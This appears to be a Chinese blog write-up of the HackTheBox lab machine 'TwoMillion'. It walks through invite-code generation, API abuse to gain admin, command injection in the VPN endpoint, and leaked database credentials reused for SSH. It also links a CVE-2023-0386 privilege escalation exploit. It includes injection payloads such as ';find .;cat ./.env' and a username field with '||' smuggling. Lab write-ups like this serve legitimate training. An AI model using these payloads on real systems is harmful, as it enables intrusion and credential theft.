HTB TwoMilion

先扫一下端口,22和80开放

进浏览器页面看一下,这一步无法直接访问,因为可能htb没有将2million.htb注册到公网DNS服务器

需要

复制代码
sudo echo "10.10.11.221 2million.htb" >> /etc/hosts

卡了半天总算进来了

注册用户在invite页面需要输入邀请码,看网页源码,在/js/inviteapi.min.js中发现一段混淆的js代码,丢给ai解混淆

复制代码
var verifyInviteCode = function(code) {
    var formData = { "code": code };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
};

var makeInviteCode = function() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
};

得到两个函数,一个向服务器验证邀请码,一个制造邀请码

试一下制造邀请码,发现

rot13解密新端点,

复制代码
curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"MDBaQ1QtSTJORUItVkZVWjYtQlVaSjI=","format":"encoded"}}

访问拿到base64加密过的邀请码

注册一个用户进来

进来的页面点按钮要么没反应要么没信息,目录爆破一下,先装个dirsearch

复制代码
sudo su
apt-get install dirsearch

出来一个access路径没见过,进去可以下载ovpn文件,下载方式跟之前生成验证码的方式很像,都是通过api生成

因为有了登录,所以我们看一下可用的api有哪些

接下来可能需要这些api完成提权操作

我们向update user settings这里抓个包看看,根据它的需要补齐json数据

到这里应该就完成提权了

测试一下admin的几个api,发现vpn这个可以命令注入

复制代码
/home/admin/user.txt: Permission denied

有flag,但是没权限

接下来用kali接收反弹的shell

复制代码
└─# ip addr show tun0
6: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.16.35/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:4::1021/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::70fb:efb2:5610:8fa5/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

但是环境是php,用find找找环境变量.env在哪

复制代码
;find .;cat ./.env

发现数据库的登录名和密码

复制代码
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

kali新开一个终端进行ssh登录,拿到admin用户

看看suid

复制代码
{
"username":"123 || find / -perm -u=s -type f 2>/dev/null || "
}

发现CVE,大概率是要用这个提权了

https://github.com/Fanxiaoyao66/CVE-2023-0386

虽然上面有现成的,但是使用时一直无法正常提权(好吧原来是www-data不能正常用,admin可以

突然意识到,这个靶机是共享的,所以其实tmp下的cve利用是其他人上传的

相关推荐
虚拟世界AI1 天前
从零到黑客:渗透测试实战指南
网络安全·渗透测试
文章永久免费只为良心6 天前
反射型 XSS 漏洞从弹窗到劫持页面的进阶利用实战
网络安全·渗透测试·xss·xss漏洞进阶·跨站脚本漏洞进阶·跨站脚本漏洞·漏洞复现步骤
云水一下10 天前
黑客的“猜密码”游戏:SSH暴力破解实战与Linux安全加固
linux·渗透测试·ssh·暴力破解
qq_4352879211 天前
第19章 十绝阵:十个独立沙箱环境?阐教逐个击破的渗透测试
渗透测试·单元测试·灰度发布·防御性编程·洪荒神话·十绝阵·沙箱环境
云水一下11 天前
永恒之蓝完全实战:从SMB扫描到SYSTEM权限,注册表后门+键盘记录+清日志一条龙
渗透测试·ms17-010·永恒之蓝
ShoreKiten13 天前
THP-CSK靶场--内网横向移动(一)
渗透测试·内网
世界尽头与你13 天前
Ollama 内存泄漏漏洞(CVE-2026-7482)
安全·网络安全·渗透测试
Sombra_Olivia14 天前
Vulhub 中的 Cacti-CVE-2023-39361
安全·web安全·渗透测试·vulhub
vortex520 天前
HackMyVm靶机Artig复盘
linux·渗透测试·靶机·hmv
网络安全许木21 天前
自学渗透测试第30天(第一阶段总结与Metasploitable3部署)
网络安全·渗透测试